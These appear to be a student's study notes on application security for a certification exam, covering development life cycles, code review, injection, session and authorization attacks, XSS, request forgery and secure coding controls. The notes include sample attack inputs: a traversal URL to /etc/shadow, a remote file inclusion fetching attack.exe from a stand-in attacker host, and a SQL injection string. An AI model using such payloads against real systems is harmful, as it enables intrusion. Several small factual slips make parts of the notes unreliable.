Essentials:

Know how to analyze the indicators associated with application attacks.

Understand secure software development concepts.

Explain secure code deployment and automation concepts.

Know how to implement database security controls.

Know how to implement application security controls.

* **The Software Development Life Cycle (SDLC):**
  + Describes the steps in a model for software development throughout its life.
  + Maps software creation from an idea to requirements gathering and analysis to design, coding, testing, and rollout.
    - Once software is in production, it also includes user training, maintenance, and decommissioning at the end of the software package’s useful life.
  + SDLC helps provide a consistent framework to structure workflow and providing planning for the development process, but it is not always the best choice.
* **Software Development Phase:**
  + Regardless of specific SDLC model or process, a few phases usually appear:
    - The **Feasibility Phase** is where initial investigations into whether the effort should occur are conducted. Feasibility also looks at alternative solutions and high-level costs for each solution proposed. It results in a recommendation with a plan to move forward.
    - Once an effort has been deemed feasible, it will typically go through an **analysis and requirements definition** phase. In this phase customer input is sought to determine what the desired functionality is, what the current system or application currently does and what it doesn’t do, and what improvements are desired.
    - The **Design** phase includes design for functionality, architecture, integration points and techniques, dataflow, business processes, and any other elements that require design consideration.
    - The **Development** phase is where the coding of the application occurs and may involve testing of parts of the software, including **unit testing** where small components are individually tested.
    - **Testing and Integration** phase is where the formal testing with customers and people outside the development team occurs. This means the software may be running along external services and data sources.
      * **User acceptance testing (UAT)** also occurs to ensure that the users of the software are satisfied with its functionality.
    - **Training and Transition** phase is where important task of ensuring that the end users are trained on the software and that the software has entered general use occurs.
      * Aka the acceptance, installation, and deployment phase.
    - **Ongoing operations and maintenance** are the longest phase and occurs after the project reaches completion. This phase includes patching, updating, minor modifications, and other work that goes into daily support.
    - The **disposition** phase occurs when a product or system reaches the end of its life.
* **Code Deployment Environments:**
  + Many organizations use multiple environments for their software and systems development and testing. The names and specific purposes for these systems vary depending on organizational needs, but the most common environments are as follows:
    - The **development environment** is typically used for developers or other “builders” to do their work. Some workflows provide each developer with their own development environment; others use a shared development environment.
    - The **test environment** is where the software or systems can be tested without impacting the production environment. In some schemes, this is preproduction, whereas in others a separate preproduction staging environment is used.
      * **Quality assurance (QA)** activities take place in the test environment.
    - The **staging environment** is a transition environment for code that has successfully cleared testing and is waiting to be deployed into production.
    - The **production environment** is the live stream. Software, patches, and other changes that have been tested and approved move to production.
* **Software Development Models:**
  + Many organizations choose elements of one or more SDLC models to best fit their organization style, workflow, and requirements.
    - **Waterfall:**
      * A sequential model in which each phase is followed by the next phase.
      * Phases do not overlap, and each logically leads to the next.
      * Typically, six phases:
        + 1. Requirements are gathered and documented.
        + 2. Involved analysis intended to build business rules and models.
        + 3. A software architecture is designed.
        + 4. Coding and integration of the software occurs.
        + 5. Once the software is complete, there is testing and debugging.
        + 6. Finally, software enters an operational phase with support, maintenance, and other operational activities.
      * While waterfall is straight-forward, it is being replaced in many organizations because it is inflexible.
        + It is not highly responsive to changes and does not account for internal iterative work.
        + Recommended for development efforts that involve fixed scope and a known timeframe for delivery where stable, well-understood technology is being used.
    - **Spiral**:
      * Uses linear development concepts from the Waterfall model and adds an iterative process that revisits four phases multiple times during the development life cycle.
      * In addition, this model puts significant emphasis on risk assessment as part of the SDLC, reviewing risks multiple times during the development process.
      * There are four main phases which are visited repeatedly:
        + 1. **Identification, or requirements gathering**, which initially gathers business requirements, system requirements, and more detailed requirements for subsystems or modules as the process continues.
        + 2. **Design**, conceptual, architectural, logical, and sometimes physical or final design.
        + 3. **Build**, which produces an initial proof of concept and then further development releases until the final production build is produced.
        + 4. **Evaluation**, which involves risk analysis for the development project intended to monitor the feasibility of delivering the software from a technical and managerial viewpoint. As the dev cycle continues, this phase also involves customer testing and feedback to ensure customer acceptance.
      * The Spiral Model provides greater flexibility to handle changes in requirements as well as external influences such as availability of customer feedback and development staff.
        + It also allows the software dev cycle to start earlier in the process than the Waterfall Model.
      * Because Spiral revisits processes, it is possible for a project to undergo significant design changes.
    - **Agile:**
      * Agile software development is an iterative and incremental process, rather than the linear processes that Waterfall and Spiral use. Agile is rooted in the Manifesto for Agile Software Development, a document that has four basic premises:
        + Individual and interactions are more important than processes and tools.
        + Working software is preferable to comprehensive documentation.
        + Customer collaboration replaces contract negotiation.
        + Responding to change is key, rather than following a plan.
      * Agile tends to break up work into smaller units, allowing work to be done more quickly and with less up-front planning. It focuses on adapting to needs, rather than predicting them, with major milestones identified early in the process but subject to changes as the project continues to develop.
      * Work is typically broken up into short working sessions called **Sprints**, that can last days to a few weeks.
      * When the developer and customer agree that the task is done or when the time allocated for the sprints is complete, the development effort is complete.
      * **Agile methodology is based on 12 principles:**
        + Ensure customer satisfaction early and continuous delivery of the software.
        + Welcome changing requirements, even late in the development process.
        + Deliver working software frequently (in weeks rather than months)
        + Ensure daily cooperation between developers and businesspeople.
        + Projects should be built around motivated individuals who get the support, trust, and environment they need to succeed.
        + Face-to-face conversations are the most efficient way to convey information inside the development team.
        + Progress is measured by having working software.
        + Development should be done at a sustainable pace that can be maintained on an ongoing basis.
        + Pay continuous attention to technical excellence and good design.
        + Simplicity is the art of maximizing the amount of work not done, which is essential.
        + The best architectures, requirements, and designs emerge from self-organizing teams.
        + Teams should reflect how to become more effective and then implement that behavior at regular intervals.
      * These principles drive an SDLC process that is less formally structured than Spiral or Waterfall but has many opportunities for customer feedback and revision.
        + It can also react more nimbly to problems, creating an advantage when security issues are discovered.
  + **DevSecOps and DevOps:**
    - **DevOps** combines software development and IT operations with the goal of optimizing the SDLC.
    - This is done by using a collection of tools called **toolchains** to improve the coding, building and test, packaging, release, configuration and management, and monitoring elements of a software development life cycle.
    - **DevSecOps** describes security as part of the DevOps model, where security is a shared responsibility that is a part of the entire development and operations cycle.
      * That means integrating security into the design, development, testing, and operational work done to produce applications and services.
      * DevOps and DevSecOps are often combined with continuous integration and continuous deployment methodologies, where they can rely on automated security testing, and integrated security tooling, including scanning, updates, and configuration management tools.
  + **Continuous Integration and Continuous Deployment:**
    - **Continuous Integration (CI)** is a development practice that checks code into a shared repository on a consistent basis.
      * In CI environments, this can range from a few times a day to frequent check-ins and automated builds.
    - The main goal of this is to enable the use of automation and scripting to implement automated courses of action that result in continuous delivery of code.
    - **Continuous deployment (CD)** or **Continuous delivery** is often paired with continuous integration by rolling out tested changes into production automatically as soon as they have been tested.
    - Using continuous integration and continuous deployment methods requires building **continuous validation** and automated security testing into the pipeline testing process.
      * It can result in new vulnerabilities being deployed into production and could allow an untrusted or rogue developer to insert flaws into the code that is deployed and then remove the code as part of a deployment in the next cycle.
        + This means that logging, reporting, and **continuous monitoring** must all be designed to fit in the CI/CD process.
* **Designing and Coding for Security:**
  + The first chance a security professional can help with software design is in the requirements gathering and design phases, so that security can be built in as a part of the required design.
    - Later, the development process can see secure coding techniques, code review, and testing to improve the quality and security.
    - During the testing phase, fully integrated software can be tested using tools like web application security scanners or pen testing techniques.
  + **Secure Coding Practices:**
    - One of the best resources for secure coding practices is the **Open Web Application Security Project (OWASP)** which is home to a broad community of developers and security practitioners, and it hosts many community-developed standards, guides, and documents.
    - Their content is always updated, and has top proactive controls in 2018:
      * **Define Security Requirements:** Implement security throughout the development process.
      * **Leverage Security Frameworks and Libraries:** Preexisting security capabilities can make securing applications easier.
      * **Secure Database Access:** Prebuild SQL queries to prevent injection and configure databases for secure access.
      * **Encode and Escape Data:** Remove special characters.
      * **Validate All Inputs:** Treat user input as untrusted and filter appropriately.
      * **Implement Digital Identity:** Use multifactor authentication, secure password storage and recovery, and session handling.
      * **Enforce Access Controls:** Require all requests to go through access control checks, deny by default, and apply the principle of least privilege.
      * **Protect Data Everywhere:** Use encryption in transit and at rest.
      * **Implement Security Logging and Monitoring:** This helps detect problems and allows investigation after the fact.
      * **Handle all Errors and Exceptions:** Errors should not provide sensitive data, and applications should be tested to ensure that they handle problems gracefully.
  + **API Security:**
    - **Application programming interfaces (APIs)** are interfaces between clients and servers or applications and operating systems that define how the client should ask for information from the server and how the sever will respond.
    - APIs can be a point of vulnerability, where security relies on authentication, authorization, proper data scoping to ensure that too much data isn’t released, rate limiting, input filtering, and appropriate monitoring and logging to remain secure.
  + **Code Review Models:**
    - Reviewing code not only finds problems but ensures everyone is familiar with the code and how it works to prevent problems in the future.
    - However, **code review** processes exist to make this process uniform:
      * **Pair Programming:** is an Agile software development technique that places two developers at one workstation. One developer writes the code while the other reviews their code as it is written.
        + Typically, the role of the coder and reviewer will switch often.
        + This practice is more expensive as it takes up the time of two programmers but will generate higher quality code.

Cost: Medium

Review Occurrence: Real Time

Ability to Explain Code: High

Skill Required: Users Must Learn to Pair Program

* + - **Over-the-Shoulder:** Relies on a pair of developers, where the interaction is not constant but consists of periods where the developers will explain the code to each other.
      * This saves cost while ensuring there can be critiquing and understanding of all of the code.

Cost: Medium

Review Occurrence: Real Time

Ability to Explain Code: High

Skill Required: No Additional Skill

* + - **Pass-Around Code Reviews (Email Pass-Around Code Review):**
      * A form of manual peer review done by sending completed code to reviewers who check the code for issues.
        + May involve different reviewers with different expertise and experience.
        + Allows for more flexibility but doesn’t provide as much as a learning experience to the writer compared to other methods.

Cost: Low/Medium

Review Occurrence: Asynchronous

Ability to Explain Code: Low

Skill Required: No Additional Skill

* + - **Tool-Assisted Review:**
      * Rely on formal or informal software-based tools to conduct code reviews.
        + Include Atlassian’s Crucible, Codacy’s static code review tool, and Phabricator’s Differential code review tool.
        + All are good, but fit different models that companies must decide.

Cost: Medium

Review Occurrence: Tool/Process Dependent

Ability to Explain Code: Typically Low

Skill Required: Training for Tool

* + - **Formal Code Review:**
      * Reviews that are more in-depth and time consuming involving a team of experts, with the primary form being a Fagan inspection.
        + **Fagan Inspection**:

A form of structured, formal code review intended to find a variety of problems during the development process.

Cost: High

Review Occurrence: Asynchronous

Ability to Explain Code: Typically Low

Skill Required: Code Review Process Training

Has Six Phases:

**1. Planning**, including preparation of materials, attendees, and location.

**2. Overview**, which prepares the team by reviewing the materials and assigning roles such as coder, reader, reviewers, and moderator.

**3. Preparation**, which involves reviewing the code or other item being inspected and documents any issues or questions they may have.

**4. Meeting** to identify defects based on the notes from the preparation phase.

**5. Rework** to resolve issues.

6**. Follow-up** by the moderators to ensure that all issues identified have been found and that no new defects were created during the resolution process.

* + - **Choosing a Review Method:**
      * Each review method has its pros and cons, but there are other factors like the experience of reviewers that ultimately change the worth of each method.
* **Software Security Testing:**
  + About 83% of applications tested have been found to have at least one security vulnerability from Veracode’s 2019 study.
  + **Analyzing and Testing Code:**
    - The source code for an app can contain bugs and flaws with problems in business logic, error handling, and integration with other services.
    - Static or dynamic code analysis can find these problems along with testing methods like fuzzing.
      * Once changes are made to code and it is deployed, the app must be regression tested to ensure no new security issues appeared.
  + **Static Code Analysis (Source Code Analysis):**
    - Conducted by reviewing the code for an application, they do not run the application.
      * Can be considered white box testing since all source code is fully visible to testers.
        + This can allow them to find problems other tests may miss like internal business logic problems.
    - Can be done with automated tools or manual review (code understanding)
  + **Dynamic Code Analysis:**
    - Relies on code execution while providing it with input to test the software.
    - Can be automated or done manually, but automated is preferred as it can do large volume tests.
  + **Fuzzing:**
    - Involves sending invalid or random data to an application to test its ability to handle unexpected data.
      * The application is monitored to determine if it crashes, fails, or responds in an incorrect manner.
      * Typically, automated due to the large volume of data.
      * Useful for detecting input validation and logic issues as well as memory leaks and error handling.
      * Unfortunately, only identifies simple problems and does not account for complex logic or business process issues.
* **Injection Vulnerabilities:**
  + One of the primary mechanisms that attackers use to break through a web application and gain access to the systems supporting that application.
  + These vulnerabilities allow an attacker to supply some type of code to the web application as input and trick the web server into either executing that code or supplying it to another server to execute.
  + **SQL Injection Attacks:**
    - Web applications often receive input from users and use it to compose a database query that provides results that are sent back to the user.
      * For example, if a shopping app has a search bar, the attacker could use the search bar to trick the app into sending a query for credit card numbers.
    - **Blind Content-Based SQL Injection:**
      * The perpetrator sends input to the web application that tests whether the application is interpreting injected code before attempting to carry out the attack.
        + This can be done for example by sending certain inputs into application inputs and observing how the application responds.

Certain responses and even the lack of a response can show that a database supports the input.

* + - **Blind Timing-Based SQL Injection:**
      * Pen testers may use the amount of time required to process a query as a channel for retrieving information from a database.
        + SQL supports a command that delays the respond of sending data back to the user.
        + If used properly, this command can be used as confirmation that the command is even supported, and confirming if data is present in other fields as well.
  + **Code Injection Attacks:**
    - Attacks that seek to insert attacker-written code into the legitimate code created by a web application developer.
    - Any environment that inserts user-supplied input into code written by an application developer may be vulnerable to a code injection attack.
    - SQL injections are a specific type of code injection attack.
      * Similar attacks may take place against other environments.
      * Lightweight Directory Access Protocol (LDAP) queries are vulnerable to embedded commands in text.
      * Extensible Markup Language (XML) also have their own XML injection where code is embedded inside documents.
      * Dynamic Linked Libraries (DLLs) are also vulnerable to DLL injection attacks where command is loaded dynamically with them.
      * SQL has cross site scripting where HTML code is inserted by attackers into web pages.
    - **Command Injection Attacks:**
      * Application code may reach back to the operating system to execute a command, and attackers may be able to exploit this to directly exploit the OS.
        + This includes removing files and doing command line stuff.
* **Exploiting Authentication Vulnerabilities:**
  + **Password Authentication:**
    - Passwords are the most common form of authentication but can easily be defeated.
      * This is because they are knowledge-based authentication and if an attacker discovers a password, they can use it if they are not caught, and the password does not change.
    - They can discover passwords by:
      * Conducting social engineering attacks that trick the user into revealing a password, either directly or through false authentication mechanisms.
      * Eavesdropping on unencrypted network traffic.
      * Obtaining a dump of passwords from previously compromised sites and assuming that a significant proportion of users reuse their passwords from that site on other sites.
      * There is also brute-force and hashing.
      * Additionally, many application and services have default usernames and passwords that must be changed by the user. Attackers can leverage this on people who just didn’t change their password.
  + **Session Attacks:**
    - Doesn’t steal credentials but steals an existing authenticated session.
      * Most websites that require authentication manage user sessions using cookies managed in the user’s browser and transmitted as part of the HTTP header information provided by a website.
        + The cookies are given to the user initially after authentication and are used to help the user store data and prove to the web server they are authenticated by storing an authentication string.

Thus, if that cookie is stolen, it can be used to impersonate a user and certify that they have already been authenticated.

* + - **Cookie Stealing and Manipulation:**
      * Cookies can be stolen by:
        + Eavesdropping on unencrypted network connections and stealing a copy of the cookie as it is transmitted between the user and the website.
        + Installing malware on the user’s browser that retrieves cookies and transmits them back to the attacker.
        + Engaging in a man-in-the-middle attack, where the attack fools the user into thinking the attack is actually the target website and presenting a fake authentication form.

The attack may then authenticate to the website on behalf of the user to obtain the cookie.

* + - * **Session Replay Attack:**
        + Once attackers have obtained a cookie, they may perform cookie manipulation to alter the details sent back to the website or simply use the cookie as the badge required to gain access to the site.
        + **NTLM pass-the-hash** attack is a form of replay attack that takes place against the operating system rather than a web application.

Attacker begins by gaining access to a Windows system and then harvests stored NTLM password hashes from that system.

They can then attempt to use the hashes to gain user or admin access to the system or other systems in the same Active Directory Domain.

* + - * **Web developers can protect against cookie theft by marking cookies with the SECURE attribute.**
        + Secure Cookies are never transmitted over unencrypted HTTP connections, and this is enforced by both servers and web browsers.
      * **Unvalidated Redirects:**
        + Insecure URL redirects be used to attempt to steal user sessions.
        + Some web applications allow the browser to pass destination URLs to the application and then redirect the user to that URL at the completion of their transaction.

This can be helpful for web developers as they can redirect users without altering the application’s code.

<https://www.mc.com.php?redirect=http%3a//www.terraria.com>

This is a good link.

However, if not regulated, an **unvalidated redirect** can be created which inserts a URL to a malicious website instead of a legitimate one.

<https://www.mc.com.php?redirect=http%3a//www.evilhacker.com>

This is a bad link.

Thus, **validated redirects** should be made where a list of approved URLs (can be specific or even a domain) is made to prevent this feature from being abused.

* **Exploiting Authorization Vulnerabilities:**
  + This is how attackers exceed the level of access they are authorized.
  + **Insecure Direct Object References:**
    - In some cases, web developers design an application to directly retrieve information from a database based on an argument provided by the user in either a query string or a POST request.
      * Can be seen like: <https://www.mc.com/getDocument.php?docID=1842>
      * In general, this is okay as long as the application implements other authorization mechanisms.
        + If not, they can do docID=1843 or 1844 which can eventually lead to an attacker retrieving information they should not be seeing.
  + **Directory Traversal:**
    - Some web servers suffer from a security misconfiguration that allows users to navigate the directory structure and access files that should remain secure.
      * These attacks work when web servers allow the inclusion of operators that navigate directory paths and filesystem access controls don’t properly restrict access to files stored elsewhere on the server.
      * This can be seen from these links:
        + <http://www.mc.com/account.php>
        + Traversing upward to <http://www.mc.com.account/../../../etc/shadow>

If this was an Apache server, we would have treated the URL almost like a file path since it’s kind of is one, then travel to the shadow file which stores the shadow password hash.

* + **File Inclusion:**
    - Take directory traversal to the next level, by actually executing the code contained within a file on the file server and not just viewing files.
    - These attacks come in two variants:
      * **Local File Inclusion:**
        + Seek to execute code stored in a file located elsewhere on the webserver.
        + A URL can be used to run an executable such as

<http://www.mc.com/app.php?include=C:\\www\\uploads\\attack.exe>

* + - * **Remote File Inclusion:**
        + Attacks allow the attacker to go a step further and execute code that is stored on a remote server. These attacks are especially dangerous because the attacker can directly control the code being executed without having to first store a file on the local server.
        + A URL can be used to execute the attack:

<http://www.mc.com/app.php?include=http://evil.attacker.com/attack.exe>

* + - Typically, though, when an attack does discover an inclusion vulnerability, they will upload a **web shell**.
      * **Web Shells** allow the attacker to execute commands on the server and view the results in the browser.
        + This provides the attacker with access to the server over commonly used HTTP and HTTPS ports, making their traffic less vulnerable to detection be security tools.
  + **Privilege Escalation:**
    - Seeks to increase the level of access that an attacker has to a target system.
      * They exploit vulnerabilities that allow the transformation of a normal user account into a more privileged account, such as the root superuser account.
* **Exploiting Web Application Vulnerabilities:**
  + **Cross-Site Scripting (XSS):**
    - Occur when web applications allow an attacker to perform HTML injection, inserting their own HTML code into a web page.
    - **Reflected XSS:**
      * XSS attacks commonly occur when an application allows **reflected input**.
        + This means that the application will reflect the input and do something with it.

If you input your name into a text box, the website will respond with “Hello Kayden”.

* + - * + However, this can be targeted by scripts, where an attacker could make a script that prompts the user for a username and password, then reflect the input and sending it back to the attacker.

The popup can be made to look legit by embedding the script into a form input of the link.

Then if a user opens the link and get the popup, they might think it is legit.

* + - * **Input Validation** can be used to prevent this.
        + <SCRIPT> tag should never be allowed in an input field by a user.

This can still be worked around however, and the best way to prevent these workarounds is to limit the text input to exactly what is required, like “3 digits only”.

* + - **Stored/Persistent XSS:**
      * Cross-site scripting code can be stored on a remote web server in an approach called **Stored XSS**.
        + These attacks are persistent because they remain on the server even when the attacker isn’t actively waging an attack.
      * This can include having some type of HTML script on something like a message board, and then using the script to redirect users to a malicious website.
    - **DOM-Based XSS:**
      * Work by modifying the Document Object Model (DOM) environment within the user’s browser.
      * These do not appear in the HTML code making them dangerous and hard to find.
  + **Request Forgery:**
    - Exploit trust relationships and attempts to have users unwittingly execute commands against a remote server.
    - **Cross-Site Request Forgery (CSRF/XSRF):**
      * Similar to cross-site scripting attacks but exploit a different trust relationship.
      * While **XSS attacks** exploit the trust that a user has in a website to execute code on the user’s computer, **XSRF attacks** exploit the trust that remote sites have in a user’s system to execute commands on the user’s behalf.
        + XSRF attacks work by making the reasonable assumption that users are often logged into many different websites at the same time.

Attackers then embed code in one website that sends commands to a second website.

When the user clicks the link on the first site, they are unknowingly sending a command to the second site.

If the user happens to be logged into that second site, the command may succeed.

Example can be the first site sending a command to a second (bank) site to transfer funds to a specific account. If the user is logged in to the bank site, then this command may execute.

* + - * These can be prevented with secure tokens attackers would not know how to embed in their own links.
        + Another is for sites to check the referring URL in requests received from end users and only accept requests that originated for their own site.
  + **Server-Side Request Forgery (SSRF):**
    - Exploit a similar vulnerability to CSRF but instead of tricking a user’s browser to visit a URL, they trick a server into visiting a URL based on user-supplied input.
      * Attacks are possible when a web application accepts URLs from a user as input and then retrieves information from that URL.
        + If the server has access to nonpublic URLs, an SSRF attack can unintentionally disclose that information to an attacker.
* **Application Security Controls:**
  + **Input Validation:**
    - Any application that allows user input should perform validation to ensure no input can be used as an attack.
    - The most effective form of input validation uses **input whitelisting**, where the developer describes the exact type of input that is expected from the user and then verifies that the input matches that specification before passing the input to other processes or servers.
      * Additionally, it is important this validation occurs on the server-side, as client-side authentication can easily be altered.
    - Sometimes, input whitelisting may be too difficult because the required input has to many forms. So, **input blacklisting** can be used to make sure specific items like HTML tags or SQL commands are not allowed.
  + **Parameter Pollution:**
    - A technique used to defeat input validation, by causing errors in the input validation mechanism to allow malicious commands to go through.
      * Example:
        + <https://www.mc.com/account=12345>’ OR 1=1;--

This is a URL and SQL command mixed into one which will be blocked by the input validation. This is because the URL will go through just fine, but the SQL command will get blocked.

* + - * + <https://www.mc.com/account=12345&account=12345>’ OR 1=1;--

This on the other hand may cause an error in the application because “account=12345&account=12345” is allowed by the input validation but may cause bugs with the actual application. Because of this bug, the input validation could possibly not run for the SQL command part.

* + - Countering this requires that web platforms handle multiple copies of the same parameter properly and handle other weird inputs yet legal inputs properly as well.
  + **Web Application Firewalls (WAFs):**
    - Work similarly to firewalls but operate on the Application Layer.
      * They sit in front of a web server and receives all network traffic headed to that server.
      * It then scrutinizes the input headed to the application, performing input validation before passing the input to the web server.
        + This all prevents malicious traffic from ever reaching the web server and is a good layer of defense against web app vulnerabilities.
  + **Database Security:**
    - Just secure database practices as they are necessary for normal business operation and maintaining the CIA triad.
  + **Database Normalization:**
    - A set of design principles that database designers should follow when building and modifying databases.
    - Databases that follow these principles are said to be in normal forms, which are numbered in increasing order of the level of principle followed.
      * First normal form or 1NF, to 2NF, 3NF, etc.
      * These forms provide benefits:
        + Prevent data inconsistency.
        + Prevent update anomalies.
        + Reduce the need for reconstructing existing databases.
        + Make the database schema more informative.
  + **Parametrized Queries:**
    - These offer another technique to protect against injection attacks.
      * In parameterized queries, the client does not directly send SQL code to the database server, instead, the client sends arguments to the server, which then inserts those arguments into a precompiled query template.
        + This protects against injection attacks and improves database performance.
    - **Stored Procedures:**
      * An example of an implementation of parametrized queries used by some database platforms.
  + **Obfuscation and Camouflage:**
    - Maintaining sensitive personal information in databases exposes an organization to risk in the event that information is stolen by an attacker.
    - Database administrators should take measures to protect against **data exposure**.
      * **Data Minimization** is the best defense, where organizations collect only the data they need and dispose of any sensitive information as soon as it is not needed.
      * **Tokenization** replaces personal identifiers that might directly reveal an individual’s identity with a unique identifier using a lookup table.
        + Lookup table must be extremely private, however.
      * **Hashing** uses a cryptographic hash function to replace sensitive identifiers with an irreversible alternative identifier.
        + **Salting** these values with a random number prior to hashing them makes these hashed values resistant to a type of attack known as rainbow table attack.
  + **Code Security:**
    - Software developers should safeguard the creation, storage, and delivery of their code.
    - **Code Signing:**
      * Provides developers with a way to confirm the authenticity of their code to end users.
      * They use cryptographic function to digitally sign their code with their own private key, and then browsers can use the developer’s public key to verify the signature and thus the code.
    - **Code Reuse:**
      * In general, organizations reuse their code a lot and even reuse the code made by third parties which are distributed through software development kits (SDKs) and libraries.
      * Though, this isn’t a big deal, it is important that security experts examine the code and make sure there is nothing malicious about it, or make sure the code doesn’t unintendedly cause a security risk.
    - **Software Diversity:**
      * Security professionals should watch for places in the organization that are dependent on a single piece of source code, binary executable file, or compilers.
        + Though it may not be possible to eliminate the dependence, it is still important to track it as you don’t want a single point of failure to destroy everything.
    - **Code Repositories:**
      * Centralized locations for the storage and management of application source code.
        + Allows for secure storage and the coordination of changed among multiple developers.
      * **Version Control** is something also performed by repositories that allow the tracking of changes and the rollback of code to earlier versions when required.
        + This makes auditing a lot easier.
      * **Dead Code** is code in use but nobody in the organization is responsible for it and they may not even know where it is.
        + Repositories help fix this problem.
    - **Integrity Measurement:**
      * The use of cryptographic hash functions to verify that the code being released into production matches the code that was previously approved.
        + Any changes in the hash values means the code was altered intentionally or unintentionally, which requires a fix.
    - **Application Resilience:**
      * When we design applications, we should create them in a manner that makes them resilient in the face of changing demand.
      * This can be achieved with two principles:
        + **Scalability:** says that applications should be designed so that computing resources they require may be incrementally added to support increasing demand.
        + **Elasticity:** goes a step further and says apps should be able to automatically provision resources to scale when necessary and then automatically deprovision those resources to reduce capacity (and cost) when it is no longer needed.
* **Secure Coding Practices:**
  + In general, no matter what coding language you use, security practices are the same.
  + **Source Code Comments:**
    - Code comments obviously tell how code works but can be dangerous when in the wrong hands.
      * This is not a problem for compiled code.
      * However, web applications that expose their code may allow remote users to view comments left in the code.
        + Thus, they should be removed in production environments.
  + **Error Handling:**
    - Attackers throve on exploiting errors in code and unresolved errors may expose code to a lot of risk.
      * **Error Handling** should be used to ensure that if an error does happen, it doesn’t create any problems.
        + However, too much error handling, like providing viewable logs about the error, may give away too much information about the inner workings of the code.
  + **Hard-Coded Credentials:**
    - This is when developers hard code usernames and passwords into the source code.
      * First reason may be used as a **backdoor** for developers to log on to any distribution of the code in case something fails.
        + This is problematic as if the password and username is discovered, it is applicable to all code distributions.
      * Second reason may be if the access credentials for other services like a database is within the source code.
        + If these credentials ever get discovered, it’s the same problem as the backdoor.
  + **Memory Management:**
    - Poor memory management practices can undermine the security of an entire system.
    - **Resource Exhaustion:**
      * When the system consumes all of the memory, storage, processing time, or other resources, rendering the system disabled or crippled for other uses.
      * **Memory Leaks** is an example, where memory fails to be returned.
    - **Pointer De-referencing:**
      * **Memory Pointers** can cause security issues as if pointers are not handled correctly, like trying to dereference a null pointer, a crash will happen.
        + Crashes can potentially give attackers insight of how an application works.
        + In the worst case, a null pointer exception may allow an attacker to bypass security controls.
    - **Buffer Overflows:**
      * **Buffer overflow attacks** occur when an attacker manipulates a program into placing more data into an area of memory than is allocated for that program’s use.
        + The goal is to overwrite other information in memory with instructions that may be executed by a different process running on the system.
      * These attacks are quite commonplace and tend to persist for many years after they are initially discovered.
      * Finding out if a program is vulnerable to a buffer overflow can be as simple as a vulnerability scan.
  + **Race Conditions:**
    - Occur when the security code segment depends upon the sequence of events occurring within the system.
    - **Time-of-Check-to-Time-of-Use (TOCTTOU or TOC/TOU) Issue:**
      * A race condition that occurs when a program checks access permissions too far in advance of a resource request.
        + If an admin revokes permission of a user onto a system by caching it in a login permission list, if the user is still logged in, they can maintain normal permissions until they log off.
  + **Unprotected APIs:**
    - **Application Program Interfaces (APIs)** allow third parties to build upon a platform.
      * However, APIs if not regulated properly could lead to the unauthorized use of functions.
      * Some APIs are not public and some required keys.
  + **Driver Manipulation:**
    - **Device Drivers** play an important role in computing by serving as the software interface between hardware devices and operating systems.
      * They are the reason you can use almost any printer from a wide variety of manufacturers from any Windows system.
        + Windows doesn’t design the software for their system to use printers, they provide manufacturers the ability to write drivers to support their own hardware.
      * Drivers provide instructions to OS on how to interact with the hardware, but this requires low-level access to the OS and runs with admin privileges.
        + Of course, if the driver is malicious, it could gain full control of the system.
    - Attackers could **refactor** an existing driver if they have the source code to it (which is very uncommon and difficult) and add malicious elements.
    - **Shimming** can be used if the driver source code is not accessible which takes a legitimate driver and wraps a malicious driver around the outside of it.
      * The malicious driver, known as the **shim**, receives requests from the operating system and simply passes them on the legitimate driver so that the device functions normally.
        + But at the same time, the driver can carry out its malware payload in the background.
    - Modern OS all contain protections against malicious drivers however, which includes **code signing**.
      * This is literally just a digital sign that verifies the code is actually from the manufacturer.